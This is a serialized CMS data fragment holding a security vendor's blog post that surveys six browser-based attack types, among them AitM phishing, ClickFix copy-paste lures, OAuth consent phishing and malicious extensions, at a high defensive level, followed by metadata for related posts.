","2025-10-09T00:00:00.000Z","introducing-malicious-copy-paste-detection",{"items":13999},[14000,14002],{"sys":14001,"name":342},{"id":2666},{"sys":14003,"name":2663},{"id":2662},{"items":14005},[14006],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":14007},{"url":2674},{"__typename":1802,"sys":14009,"content":14011,"title":14652,"synopsis":14653,"hashTags":59,"publishedDate":14654,"slug":14655,"tagsCollection":14656,"authorsCollection":14662},{"id":14010},"62Zyr35VUmijkpupWk3hoD",{"json":14012},{"data":14013,"content":14014,"nodeType":1663},{},[14015,14031,14038,14041,14049,14056,14063,14083,14089,14096,14103,14110,14117,14120,14128,14135,14141,14148,14156,14163,14170,14176,14195,14201,14208,14214,14221,14226,14229,14237,14253,14260,14290,14297,14304,14310,14317,14324,14331,14334,14342,14358,14364,14371,14378,14384,14391,14398,14401,14409,14416,14436,14480,14487,14494,14501,14504,14512,14519,14526,14533,14536,14544,14551,14582,14602,14609,14612,14620,14627,14634],{"data":14016,"content":14017,"nodeType":866},{},[14018,14022,14027],{"data":14019,"marks":14020,"value":14021,"nodeType":865},{},[],"The view that \"the browser is the new endpoint\" and \"the new battleground for cyber attacks\" is becoming increasingly advocated by security leaders. But what does this ",{"data":14023,"marks":14024,"value":14026,"nodeType":865},{},[14025],{"type":965},"actually",{"data":14028,"marks":14029,"value":14030,"nodeType":865},{},[]," mean for security teams? ",{"data":14032,"content":14033,"nodeType":866},{},[14034],{"data":14035,"marks":14036,"value":14037,"nodeType":865},{},[],"In this article, we’re cutting out the jargon to explore what a browser-based attack is, and what’s required for effective detection and response. ",{"data":14039,"content":14040,"nodeType":944},{},[],{"data":14042,"content":14043,"nodeType":953},{},[14044],{"data":14045,"marks":14046,"value":14048,"nodeType":865},{},[14047],{"type":935},"What is the goal of a browser-based attack?   ",{"data":14050,"content":14051,"nodeType":866},{},[14052],{"data":14053,"marks":14054,"value":14055,"nodeType":865},{},[],"First, it’s important to establish what the point of a browser-based attack is.",{"data":14057,"content":14058,"nodeType":866},{},[14059],{"data":14060,"marks":14061,"value":14062,"nodeType":865},{},[],"In most scenarios, attackers don’t think of themselves as attacking your web browser. Their end-goal is to compromise your business apps and data. That means going after the third-party apps and services that are now the backbone of business IT — and therefore the top target for attackers. ",{"data":14064,"content":14065,"nodeType":866},{},[14066,14070,14079],{"data":14067,"marks":14068,"value":14069,"nodeType":865},{},[],"The most common attack path today sees attackers log into third-party services, dump the data, and monetize it through extortion. You need only look at last year’s ",{"data":14071,"content":14073,"nodeType":889},{"uri":14072},"https://pushsecurity.com/blog/snowflake-retro?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[14074],{"data":14075,"marks":14076,"value":14078,"nodeType":865},{},[14077],{"type":1191},"Snowflake",{"data":14080,"marks":14081,"value":14082,"nodeType":865},{},[]," customer breaches or the still-ongoing Salesforce attacks to see the impact.",{"data":14084,"content":14088,"nodeType":921},{"target":14085},{"sys":14086},{"id":14087,"type":918,"linkType":919},"5agrVXzEdwALmew2F5SPDp",[],{"data":14090,"content":14091,"nodeType":866},{},[14092],{"data":14093,"marks":14094,"value":14095,"nodeType":865},{},[],"The most logical way to do this is by targeting users of those apps. And because of the changes to working practices, your users are more accessible than ever to external attackers.",{"data":14097,"content":14098,"nodeType":866},{},[14099],{"data":14100,"marks":14101,"value":14102,"nodeType":865},{},[],"Once upon a time, email was the primary communication channel with the wider world, and work happened locally — on your device, and inside your locked-down network environment. This made email and the endpoint the highest priority from a security perspective. But now, with modern work happening across a network of decentralized internet apps, and more varied communication channels outside of email, it’s harder to stop users from interacting with malicious content (at least, without significantly impeding their ability to do their jobs).",{"data":14104,"content":14105,"nodeType":866},{},[14106],{"data":14107,"marks":14108,"value":14109,"nodeType":865},{},[],"Given that the browser is the place where business apps are accessed and used, it makes sense that attacks are increasingly playing out there too. ",{"data":14111,"content":14112,"nodeType":866},{},[14113],{"data":14114,"marks":14115,"value":14116,"nodeType":865},{},[],"With that covered off, let’s take a closer look at the most prevalent browser-based attack techniques being used by attackers in the wild today.",{"data":14118,"content":14119,"nodeType":944},{},[],{"data":14121,"content":14122,"nodeType":953},{},[14123],{"data":14124,"marks":14125,"value":14127,"nodeType":865},{},[14126],{"type":935},"The 6 key browser-based attacks that security teams need to know about",{"data":14129,"content":14130,"nodeType":866},{},[14131],{"data":14132,"marks":14133,"value":14134,"nodeType":865},{},[],"Attacks that target users in their web browsers have seen an unprecedented rise in recent years. ",{"data":14136,"content":14140,"nodeType":921},{"target":14137},{"sys":14138},{"id":14139,"type":918,"linkType":919},"4ogNqZdObSIJXavHP44lom",[],{"data":14142,"content":14143,"nodeType":866},{},[14144],{"data":14145,"marks":14146,"value":14147,"nodeType":865},{},[],"Here's our breakdown of the top 6 browser-based attacks that should be on every security team's radar right now. ",{"data":14149,"content":14150,"nodeType":1229},{},[14151],{"data":14152,"marks":14153,"value":14155,"nodeType":865},{},[14154],{"type":935},"1. Phishing for credentials and sessions",{"data":14157,"content":14158,"nodeType":866},{},[14159],{"data":14160,"marks":14161,"value":14162,"nodeType":865},{},[],"The most direct way for an attacker to compromise a business application is to phish a user of that app. You might not necessarily think of phishing as a browser-based attack, but that’s exactly what it is today. ",{"data":14164,"content":14165,"nodeType":866},{},[14166],{"data":14167,"marks":14168,"value":14169,"nodeType":865},{},[],"Phishing tooling and infrastructure has evolved a lot in the past decade, while the changes to business IT means there are both many more vectors for phishing attack delivery, and apps and identities to target. Attackers can deliver links over instant messenger apps, social media, SMS, malicious ads, and using in-app messenger functionality, as well as sending emails directly from SaaS services to bypass email-based checks. Likewise, there are now hundreds of apps per enterprise to target, with varying levels of account security configuration. ",{"data":14171,"content":14175,"nodeType":921},{"target":14172},{"sys":14173},{"id":14174,"type":918,"linkType":919},"3SrKOgpedLMQRpKIZqUQur",[],{"data":14177,"content":14178,"nodeType":866},{},[14179,14183,14191],{"data":14180,"marks":14181,"value":14182,"nodeType":865},{},[],"Whereas phishing was once entirely focused on credential theft, modern phishing attacks see the attacker intercept the victim’s session on the target app, using reverse-proxy Attacker-in-the-Middle kits that are the standard choice for attackers today. This means most forms of MFA can be bypassed, with the exception of passkeys (though attackers are finding ways to work around passkeys using ",{"data":14184,"content":14186,"nodeType":889},{"uri":14185},"https://pushsecurity.com/blog/mfa-downgrade-attacks/?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[14187],{"data":14188,"marks":14189,"value":9123,"nodeType":865},{},[14190],{"type":1191},{"data":14192,"marks":14193,"value":14194,"nodeType":865},{},[],"). ",{"data":14196,"content":14200,"nodeType":921},{"target":14197},{"sys":14198},{"id":14199,"type":918,"linkType":919},"2sOFEdAwQZjWOGzNAlGavb",[],{"data":14202,"content":14203,"nodeType":866},{},[14204],{"data":14205,"marks":14206,"value":14207,"nodeType":865},{},[],"There are other key differences to be aware of too. Today, phishing operates on an industrial scale, using an array of obfuscation and detection evasion techniques. The latest generation of fully customized AitM phishing kits are dynamically obfuscating the code that loads the web page, implementing custom bot protection (e.g. CAPTCHA or Cloudflare Turnstile), using runtime anti-analysis features, and using legitimate SaaS and cloud services to host and deliver phishing links to cover their tracks.",{"data":14209,"content":14210,"nodeType":866},{},[14211],{"data":14212,"marks":14213,"value":13655,"nodeType":865},{},[],{"data":14215,"content":14216,"nodeType":866},{},[14217],{"data":14218,"marks":14219,"value":14220,"nodeType":865},{},[],"These changes make phishing more effective than ever, and increasingly difficult to detect and block without being able to observe and analyze web pages that a user interacts with in real time — something only possible with browser-level visibility. ",{"data":14222,"content":14225,"nodeType":921},{"target":14223},{"sys":14224},{"id":12964,"type":918,"linkType":919},[],{"data":14227,"content":14228,"nodeType":944},{},[],{"data":14230,"content":14231,"nodeType":1229},{},[14232],{"data":14233,"marks":14234,"value":14236,"nodeType":865},{},[14235],{"type":935},"2. Malicious copy and paste (aka. ClickFix, FileFix, etc.)",{"data":14238,"content":14239,"nodeType":866},{},[14240,14243,14250],{"data":14241,"marks":14242,"value":13384,"nodeType":865},{},[],{"data":14244,"content":14245,"nodeType":889},{"uri":13387},[14246],{"data":14247,"marks":14248,"value":315,"nodeType":865},{},[14249],{"type":1191},{"data":14251,"marks":14252,"value":3017,"nodeType":865},{},[],{"data":14254,"content":14255,"nodeType":866},{},[14256],{"data":14257,"marks":14258,"value":14259,"nodeType":865},{},[],"Originally known as “Fake CAPTCHA”, these attacks attempt to trick users into running malicious commands on their device — typically by solving some form of verification challenge in the browser. ",{"data":14261,"content":14262,"nodeType":866},{},[14263,14267,14274,14278,14287],{"data":14264,"marks":14265,"value":14266,"nodeType":865},{},[],"In reality, by solving the challenge, the victim is actually copying malicious code from the page clipboard and running it on their device. It typically gives the victim instructions that involve clicking prompts and copying, pasting, and running commands directly in the Windows Run dialog box, Terminal, or PowerShell. Variants such as ",{"data":14268,"content":14269,"nodeType":889},{"uri":13548},[14270],{"data":14271,"marks":14272,"value":13554,"nodeType":865},{},[14273],{"type":1191},{"data":14275,"marks":14276,"value":14277,"nodeType":865},{},[]," have also emerged which instead uses the File Explorer Address Bar to execute OS commands, while recent examples have seen this attack branch out to ",{"data":14279,"content":14281,"nodeType":889},{"uri":14280},"https://www.bleepingcomputer.com/news/security/fake-mac-fixes-trick-users-into-installing-new-shamos-infostealer/",[14282],{"data":14283,"marks":14284,"value":14286,"nodeType":865},{},[14285],{"type":1191},"Mac via the macOS terminal",{"data":14288,"marks":14289,"value":1066,"nodeType":865},{},[],{"data":14291,"content":14292,"nodeType":866},{},[14293],{"data":14294,"marks":14295,"value":14296,"nodeType":865},{},[],"Most commonly, these attacks are used to deliver infostealer malware, using stolen session cookies and credentials to access business apps and services. ",{"data":14298,"content":14299,"nodeType":866},{},[14300],{"data":14301,"marks":14302,"value":14303,"nodeType":865},{},[],"Like modern credential and session phishing, links to malicious pages are distributed over various delivery channels and using a variety of lures, including impersonating CAPTCHA, Cloudflare Turnstile, simulating an error loading a webpage, and many more. ",{"data":14305,"content":14309,"nodeType":921},{"target":14306},{"sys":14307},{"id":14308,"type":918,"linkType":919},"6O9YiOfhpGFCDsTil9F3On",[],{"data":14311,"content":14312,"nodeType":866},{},[14313],{"data":14314,"marks":14315,"value":14316,"nodeType":865},{},[],"The variance in lure, and differences between different versions of the same lure, can make it difficult to fingerprint and detect based on visual elements alone. Also, many of the same protections being used to obfuscate and prevent analysis of phishing pages also apply to ClickFix pages, making it equally challenging to detect and block them. ",{"data":14318,"content":14319,"nodeType":866},{},[14320],{"data":14321,"marks":14322,"value":14323,"nodeType":865},{},[],"This leaves most of the detection and blocking down to endpoint-layer controls around user-level code execution and malware running on a device. The quantity of ClickFix-related headlines in the news would indicate that endpoint controls are being routinely bypassed, or perhaps evaded altogether by targeting personal or BYOD devices. ",{"data":14325,"content":14326,"nodeType":866},{},[14327],{"data":14328,"marks":14329,"value":14330,"nodeType":865},{},[],"There is a significant opportunity to detect these attacks in the browser and stop them at the earliest opportunity, before they reach the endpoint. Every ClickFix attack and variant has a key action in common — malicious code is copied from the page’s clipboard. In some cases, this happens without any user interaction (where the only requirement on the user is to run code that has been silently copied behind the scenes), presenting a strong indicator of malicious behavior that can be observed in the browser. ",{"data":14332,"content":14333,"nodeType":944},{},[],{"data":14335,"content":14336,"nodeType":1229},{},[14337],{"data":14338,"marks":14339,"value":14341,"nodeType":865},{},[14340],{"type":935},"3. Malicious OAuth integrations",{"data":14343,"content":14344,"nodeType":866},{},[14345,14349,14355],{"data":14346,"marks":14347,"value":14348,"nodeType":865},{},[],"Malicious OAuth integrations are another way for attackers to compromise an app by tricking a user into authorizing an integration with a malicious, attacker-controlled app, with the level of data access and functionality dictated by the scopes authorized in the request. This is also known as ",{"data":14350,"content":14351,"nodeType":889},{"uri":9272},[14352],{"data":14353,"marks":14354,"value":9990,"nodeType":865},{},[],{"data":14356,"marks":14357,"value":4835,"nodeType":865},{},[],{"data":14359,"content":14363,"nodeType":921},{"target":14360},{"sys":14361},{"id":14362,"type":918,"linkType":919},"5JaP4WSfFsFSbvaa9BQBOq",[],{"data":14365,"content":14366,"nodeType":866},{},[14367],{"data":14368,"marks":14369,"value":14370,"nodeType":865},{},[],"This is an effective way for attackers to bypass hardened authentication and access controls by sidestepping the typical login process to take over an account and compromise business apps. This includes phishing-resistant MFA methods like passkeys — since the standard login process does not apply. ",{"data":14372,"content":14373,"nodeType":866},{},[14374],{"data":14375,"marks":14376,"value":14377,"nodeType":865},{},[],"A variant of this attack has dominated the headlines recently with the ongoing Salesforce breaches. In this scenario, the attacker tricked the victim into authorizing an attacker-controlled OAuth app via the device code authorization flow in Salesforce, which requires the user to enter an 8-digit code in place of a password or MFA factor.",{"data":14379,"content":14383,"nodeType":921},{"target":14380},{"sys":14381},{"id":14382,"type":918,"linkType":919},"3odEFcUcpKN553gHh2P5yr",[],{"data":14385,"content":14386,"nodeType":866},{},[14387],{"data":14388,"marks":14389,"value":14390,"nodeType":865},{},[],"Preventing malicious OAuth grants being authorized requires tight in-app management of user permissions and tenant security settings. This is no mean feat when considering the 100s of apps in use across the modern enterprise, many of which are not centrally managed by IT and security teams (or in some cases, are completely unknown to them). Even then, you’re limited by the controls made available by the app vendor. In this case, Salesforce has announced planned changes to OAuth app authorization in order to improve security prompted by these attacks — but many more apps with insecure configs exist for attackers to take advantage of in future. ",{"data":14392,"content":14393,"nodeType":866},{},[14394],{"data":14395,"marks":14396,"value":14397,"nodeType":865},{},[],"However, unlike app-specific integrations, browser-based security tools are well positioned to observe OAuth grants across all apps accessed in the browser — even the ones the security team doesn’t manage or know about, or without needing to pay for the app’s special security add-on to get visibility.",{"data":14399,"content":14400,"nodeType":944},{},[],{"data":14402,"content":14403,"nodeType":1229},{},[14404],{"data":14405,"marks":14406,"value":14408,"nodeType":865},{},[14407],{"type":935},"4. Malicious browser extensions",{"data":14410,"content":14411,"nodeType":866},{},[14412],{"data":14413,"marks":14414,"value":14415,"nodeType":865},{},[],"Malicious browser extensions are another way for attackers to compromise your business apps by observing and capturing logins as they happen, and/or extracting session cookies and credentials saved in the browser cache and password manager. ",{"data":14417,"content":14418,"nodeType":866},{},[14419,14423,14432],{"data":14420,"marks":14421,"value":14422,"nodeType":865},{},[],"Attackers do this by creating their own malicious extension and tricking your users into installing it, or taking over an existing extension to gain access to browsers where it is already installed (",{"data":14424,"content":14426,"nodeType":889},{"uri":14425},"https://secureannex.com/blog/buying-browser-extensions/",[14427],{"data":14428,"marks":14429,"value":14431,"nodeType":865},{},[14430],{"type":1191},"it’s very easy for attackers to buy and add malicious updates to existing extensions",{"data":14433,"marks":14434,"value":14435,"nodeType":865},{},[],", easily passing extension web store security checks). ",{"data":14437,"content":14438,"nodeType":866},{},[14439,14443,14452,14456,14465,14468,14477],{"data":14440,"marks":14441,"value":14442,"nodeType":865},{},[],"The news around extension-based compromises has been on the rise since the ",{"data":14444,"content":14446,"nodeType":889},{"uri":14445},"https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/",[14447],{"data":14448,"marks":14449,"value":14451,"nodeType":865},{},[14450],{"type":1191},"Cyberhaven extension",{"data":14453,"marks":14454,"value":14455,"nodeType":865},{},[]," was hacked in December 2024, along with at least 35 other extensions. Since then, there has been regular reporting on data-stealing extensions ",{"data":14457,"content":14459,"nodeType":889},{"uri":14458},"https://www.bleepingcomputer.com/news/security/data-stealing-chrome-extensions-impersonate-fortinet-youtube-vpns/",[14460],{"data":14461,"marks":14462,"value":14464,"nodeType":865},{},[14463],{"type":1191},"impersonating legitimate brands",{"data":14466,"marks":14467,"value":9127,"nodeType":865},{},[],{"data":14469,"content":14471,"nodeType":889},{"uri":14470},"https://www.bleepingcomputer.com/news/security/chrome-extensions-with-6-million-installs-have-hidden-tracking-code/",[14472],{"data":14473,"marks":14474,"value":14476,"nodeType":865},{},[14475],{"type":1191},"impacting millions of users",{"data":14478,"marks":14479,"value":1066,"nodeType":865},{},[],{"data":14481,"content":14482,"nodeType":866},{},[14483],{"data":14484,"marks":14485,"value":14486,"nodeType":865},{},[],"Risky browser extension permissions include broad data access, the ability to modify website content, track user activity, capture screenshots, and manage tabs or network requests. Permissions like \"read and change all data on all websites\" or access to cookies and browsing history are particularly dangerous as they can be exploited for session hijacking, data theft, malware injection, or phishing.",{"data":14488,"content":14489,"nodeType":866},{},[14490],{"data":14491,"marks":14492,"value":14493,"nodeType":865},{},[],"Generally, your employees should not be randomly installing browser extensions unless pre-approved by your security team. The reality, however, is that many organizations have very little visibility of the extensions their employees are using, and the potential risk they’re exposed to as a result. ",{"data":14495,"content":14496,"nodeType":866},{},[14497],{"data":14498,"marks":14499,"value":14500,"nodeType":865},{},[],"To tackle malicious extensions, security tools operating in the browser can track the browser extensions deployed, highlight risky permissions, compare with known-malicious extensions, identify fraudulent/unofficial versions of a legitimate extension, and highlight other risky properties commonly associated with malicious extensions (e.g. “Developer” extensions). ",{"data":14502,"content":14503,"nodeType":944},{},[],{"data":14505,"content":14506,"nodeType":1229},{},[14507],{"data":14508,"marks":14509,"value":14511,"nodeType":865},{},[14510],{"type":935},"5. Malicious file delivery",{"data":14513,"content":14514,"nodeType":866},{},[14515],{"data":14516,"marks":14517,"value":14518,"nodeType":865},{},[],"Malicious files have been a core part of malware delivery and credential theft for many years. Just as non-email channels like malvertising and drive-by attacks are used to deliver phishing and ClickFix lures, malicious files are also distributed through similar means — leaving malicious file detection to basic known-bad checks, sandbox analysis using a proxy (not that useful in the context of sandbox-aware malware) or runtime analysis on the endpoint. ",{"data":14520,"content":14521,"nodeType":866},{},[14522],{"data":14523,"marks":14524,"value":14525,"nodeType":865},{},[],"This doesn’t just have to be malicious executables directly dropping malware onto the device. File downloads can also contain additional links taking the user to malicious content. In fact, one of the most common types of downloadable content are HTML Applications (HTAs), commonly used to spawn local phishing pages to stealthily capture credentials. More recently, attackers have been weaponizing SVG files for a similar purpose, running as self-contained phishing pages that render fake login portals entirely client-side. ",{"data":14527,"content":14528,"nodeType":866},{},[14529],{"data":14530,"marks":14531,"value":14532,"nodeType":865},{},[],"Even if malicious content cannot always be flagged from surface-level inspection of a file, recording file downloads in the browser is a useful addition to endpoint-based malware protection, and provides another layer of defense against file downloads that perform client-side attacks, or redirect the user to malicious web-based content. ",{"data":14534,"content":14535,"nodeType":944},{},[],{"data":14537,"content":14538,"nodeType":1229},{},[14539],{"data":14540,"marks":14541,"value":14543,"nodeType":865},{},[14542],{"type":935},"6. Stolen credentials and MFA gaps",{"data":14545,"content":14546,"nodeType":866},{},[14547],{"data":14548,"marks":14549,"value":14550,"nodeType":865},{},[],"This last one isn’t so much a browser-based attack, but it is a product of them. When credentials are stolen through phishing or infostealer malware they can be used to take over accounts missing MFA. ",{"data":14552,"content":14553,"nodeType":866},{},[14554,14558,14565,14569,14578],{"data":14555,"marks":14556,"value":14557,"nodeType":865},{},[],"This isn’t the most sophisticated attack, but it’s very effective. You need only look at last year’s ",{"data":14559,"content":14560,"nodeType":889},{"uri":14072},[14561],{"data":14562,"marks":14563,"value":14078,"nodeType":865},{},[14564],{"type":1191},{"data":14566,"marks":14567,"value":14568,"nodeType":865},{},[]," account compromises or the ",{"data":14570,"content":14572,"nodeType":889},{"uri":14571},"https://pushsecurity.com/blog/why-attackers-are-targeting-jira-with-stolen-credentials?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[14573],{"data":14574,"marks":14575,"value":14577,"nodeType":865},{},[14576],{"type":1191},"Jira",{"data":14579,"marks":14580,"value":14581,"nodeType":865},{},[]," attacks earlier this year to see how attackers harness stolen credentials at scale. ",{"data":14583,"content":14584,"nodeType":866},{},[14585,14589,14598],{"data":14586,"marks":14587,"value":14588,"nodeType":865},{},[],"With the modern enterprise using hundreds of apps, the likelihood that an app hasn’t been configured for mandatory MFA (if possible) is high. And even when an app has been configured for SSO and connected to your primary corporate identity, ",{"data":14590,"content":14592,"nodeType":889},{"uri":14591},"https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=sidebar",[14593],{"data":14594,"marks":14595,"value":14597,"nodeType":865},{},[14596],{"type":1191},"local “ghost logins” can continue to exist",{"data":14599,"marks":14600,"value":14601,"nodeType":865},{},[],", accepting passwords with no MFA required. Just having visibility of your primary Identity Provider accounts (e.g. Google, Microsoft, Okta) and SSO-connected apps doesn't give you a full picture of your identity surface.",{"data":14603,"content":14604,"nodeType":866},{},[14605],{"data":14606,"marks":14607,"value":14608,"nodeType":865},{},[],"Logins can also be observed in the browser — in fact, it’s as close to a universal source of truth as you’re going to get about how your employees are actually logging in, which apps they’re using, and whether MFA is present, enabling security teams to find and fix vulnerable logins before they can be exploited by attackers. ",{"data":14610,"content":14611,"nodeType":944},{},[],{"data":14613,"content":14614,"nodeType":953},{},[14615],{"data":14616,"marks":14617,"value":14619,"nodeType":865},{},[14618],{"type":935},"Conclusion",{"data":14621,"content":14622,"nodeType":866},{},[14623],{"data":14624,"marks":14625,"value":14626,"nodeType":865},{},[],"Attacks are increasingly happening in the browser. That makes it the perfect place to detect and respond to these attacks. But right now, the browser is a blind-spot for most security teams. ",{"data":14628,"content":14629,"nodeType":866},{},[14630],{"data":14631,"marks":14632,"value":14633,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":14635,"content":14636,"nodeType":866},{},[14637,14641,14649],{"data":14638,"marks":14639,"value":14640,"nodeType":865},{},[],"If you want to learn more about how Push helps you to detect and stop attacks in the browser, ",{"data":14642,"content":14644,"nodeType":889},{"uri":14643},"https://pushsecurity.com/demo?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[14645],{"data":14646,"marks":14647,"value":3223,"nodeType":865},{},[14648],{"type":1191},{"data":14650,"marks":14651,"value":1066,"nodeType":865},{},[],"6 browser-based attacks every security team should be prepared for","What security teams need to know about the browser-based attack techniques that are the leading cause of breaches.","2025-09-05T00:00:00.000Z","6-browser-based-attacks-every-security-team-should-be-prepared-for",{"items":14657},[14658,14660],{"sys":14659,"name":2663},{"id":2662},{"sys":14661,"name":342},{"id":2666},{"items":14663},[14664],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":14665},{"url":2674},"the-most-advanced-clickfix-yet","blog/the-most-advanced-clickfix-yet",{"json":14669},{"data":14670,"content":14671,"nodeType":1663},{},[14672],{"data":14673,"content":14674,"nodeType":866},{},[14675],{"data":14676,"marks":14677,"value":14678,"nodeType":865},{},[],"Breaking down the most sophisticated ClickFix page we’ve seen in the wild — and what it tells us about the future of malicious copy-and-paste attacks. ",{"id":14680,"publishedAt":14681},"7rVNBW6rYXnXMpI0JEwzgR","2026-08-12T11:53:36.977Z",{"items":14683},[14684,14686],{"sys":14685,"name":342},{"id":2666},{"sys":14687,"name":2663},{"id":2662},{"items":14689},[14690,14692,14694,14696,14698,14700,14702,14704,14706,14708,14710,14712,14714],{"sys":14691,"name":279,"slug":280,"tier":31},{"id":276},{"sys":14693,"name":519,"slug":520,"tier":31},{"id":516},{"sys":14695,"name":342,"slug":343,"tier":31},{"id":339},{"sys":14697,"name":642,"slug":643,"tier":31},{"id":639},{"sys":14699,"name":315,"slug":316,"tier":45},{"id":312},{"sys":14701,"name":440,"slug":441,"tier":45},{"id":437},{"sys":14703,"name":475,"slug":476,"tier":45},{"id":472},{"sys":14705,"name":607,"slug":608,"tier":45},{"id":604},{"sys":14707,"name":448,"slug":449,"tier":45},{"id":445},{"sys":14709,"name":422,"slug":423,"tier":45},{"id":419},{"sys":14711,"name":563,"slug":564,"tier":45},{"id":560},{"sys":14713,"name":351,"slug":352,"tier":45},{"id":348},{"sys":14715,"name":377,"slug":378,"tier":45},{"id":374},"a1jszNvRBWsjUMRu9Ko6-JrZIirWNf1_NCdmXg2F2qU",{"id":14718,"title":13357,"authorsCollection":14719,"content":14724,"extension":228,"faqItemsCollection":15246,"faqTitle":59,"featured":6,"hashTags":59,"meta":15248,"metaTitle":15249,"ogImage":59,"postType":6775,"publishedDate":13359,"relatedBlogPostsCollection":15250,"slug":13360,"stem":16873,"subtitle":59,"summary":16874,"synopsis":13358,"sys":16885,"tagsCollection":16887,"topicsCollection":16893,"__hash__":16925},"blog/blog/why-attackers-are-moving-beyond-email-based-phishing.json",{"items":14720},[14721],{"fullName":2670,"firstName":2671,"jobTitle":2672,"socialLinks":14722,"profilePicture":14723},[8871],{"url":2674},{"json":14725,"links":15197},{"data":14726,"content":14727,"nodeType":1663},{},[14728,14735,14741,14747,14753,14758,14761,14768,14774,14780,14793,14829,14834,14840,14853,14859,14864,14867,14874,14880,14893,14909,14925,14941,14947,14950,14957,14973,14999,15004,15009,15012,15019,15035,15051,15057,15073,15078,15083,15086,15093,15099,15105,15131,15137,15140,15147,15153,15159,15165,15171],{"data":14729,"content":14730,"nodeType":953},{},[14731],{"data":14732,"marks":14733,"value":12811,"nodeType":865},{},[14734],{"type":935},{"data":14736,"content":14737,"nodeType":866},{},[14738],{"data":14739,"marks":14740,"value":12818,"nodeType":865},{},[],{"data":14742,"content":14743,"nodeType":866},{},[14744],{"data":14745,"marks":14746,"value":12825,"nodeType":865},{},[],{"data":14748,"content":14749,"nodeType":866},{},[14750],{"data":14751,"marks":14752,"value":12832,"nodeType":865},{},[],{"data":14754,"content":14757,"nodeType":921},{"target":14755},{"sys":14756},{"id":12837,"type":918,"linkType":919},[],{"data":14759,"content":14760,"nodeType":944},{},[],{"data":14762,"content":14763,"nodeType":953},{},[14764],{"data":14765,"marks":14766,"value":12849,"nodeType":865},{},[14767],{"type":935},{"data":14769,"content":14770,"nodeType":866},{},[14771],{"data":14772,"marks":14773,"value":12856,"nodeType":865},{},[],{"data":14775,"content":14776,"nodeType":866},{},[14777],{"data":14778,"marks":14779,"value":12863,"nodeType":865},{},[],{"data":14781,"content":14782,"nodeType":866},{},[14783,14786,14790],{"data":14784,"marks":14785,"value":12870,"nodeType":865},{},[],{"data":14787,"marks":14788,"value":12875,"nodeType":865},{},[14789],{"type":965},{"data":14791,"marks":14792,"value":12879,"nodeType":865},{},[],{"data":14794,"content":14795,"nodeType":866},{},[14796,14799,14806,14809,14816,14819,14826],{"data":14797,"marks":14798,"value":12886,"nodeType":865},{},[],{"data":14800,"content":14801,"nodeType":889},{"uri":12889},[14802],{"data":14803,"marks":14804,"value":12895,"nodeType":865},{},[14805],{"type":1191},{"data":14807,"marks":14808,"value":3202,"nodeType":865},{},[],{"data":14810,"content":14811,"nodeType":889},{"uri":12901},[14812],{"data":14813,"marks":14814,"value":12907,"nodeType":865},{},[14815],{"type":1191},{"data":14817,"marks":14818,"value":9127,"nodeType":865},{},[],{"data":14820,"content":14821,"nodeType":889},{"uri":12913},[14822],{"data":14823,"marks":14824,"value":12919,"nodeType":865},{},[14825],{"type":1191},{"data":14827,"marks":14828,"value":12923,"nodeType":865},{},[],{"data":14830,"content":14833,"nodeType":921},{"target":14831},{"sys":14832},{"id":12928,"type":918,"linkType":919},[],{"data":14835,"content":14836,"nodeType":866},{},[14837],{"data":14838,"marks":14839,"value":12936,"nodeType":865},{},[],{"data":14841,"content":14842,"nodeType":866},{},[14843,14846,14850],{"data":14844,"marks":14845,"value":12943,"nodeType":865},{},[],{"data":14847,"marks":14848,"value":12948,"nodeType":865},{},[14849],{"type":965},{"data":14851,"marks":14852,"value":12952,"nodeType":865},{},[],{"data":14854,"content":14855,"nodeType":866},{},[14856],{"data":14857,"marks":14858,"value":12959,"nodeType":865},{},[],{"data":14860,"content":14863,"nodeType":921},{"target":14861},{"sys":14862},{"id":12964,"type":918,"linkType":919},[],{"data":14865,"content":14866,"nodeType":944},{},[],{"data":14868,"content":14869,"nodeType":953},{},[14870],{"data":14871,"marks":14872,"value":12976,"nodeType":865},{},[14873],{"type":935},{"data":14875,"content":14876,"nodeType":866},{},[14877],{"data":14878,"marks":14879,"value":12983,"nodeType":865},{},[],{"data":14881,"content":14882,"nodeType":866},{},[14883,14886,14890],{"data":14884,"marks":14885,"value":12990,"nodeType":865},{},[],{"data":14887,"marks":14888,"value":12995,"nodeType":865},{},[14889],{"type":935},{"data":14891,"marks":14892,"value":12999,"nodeType":865},{},[],{"data":14894,"content":14895,"nodeType":866},{},[14896,14899,14906],{"data":14897,"marks":14898,"value":13006,"nodeType":865},{},[],{"data":14900,"content":14901,"nodeType":889},{"uri":13009},[14902],{"data":14903,"marks":14904,"value":13015,"nodeType":865},{},[14905],{"type":1191},{"data":14907,"marks":14908,"value":13019,"nodeType":865},{},[],{"data":14910,"content":14911,"nodeType":866},{},[14912,14915,14922],{"data":14913,"marks":14914,"value":13026,"nodeType":865},{},[],{"data":14916,"content":14917,"nodeType":889},{"uri":9195},[14918],{"data":14919,"marks":14920,"value":9755,"nodeType":865},{},[14921],{"type":1191},{"data":14923,"marks":14924,"value":13037,"nodeType":865},{},[],{"data":14926,"content":14927,"nodeType":866},{},[14928,14931,14938],{"data":14929,"marks":14930,"value":13044,"nodeType":865},{},[],{"data":14932,"content":14933,"nodeType":889},{"uri":13047},[14934],{"data":14935,"marks":14936,"value":13053,"nodeType":865},{},[14937],{"type":1191},{"data":14939,"marks":14940,"value":13057,"nodeType":865},{},[],{"data":14942,"content":14943,"nodeType":866},{},[14944],{"data":14945,"marks":14946,"value":13064,"nodeType":865},{},[],{"data":14948,"content":14949,"nodeType":944},{},[],{"data":14951,"content":14952,"nodeType":953},{},[14953],{"data":14954,"marks":14955,"value":13075,"nodeType":865},{},[14956],{"type":935},{"data":14958,"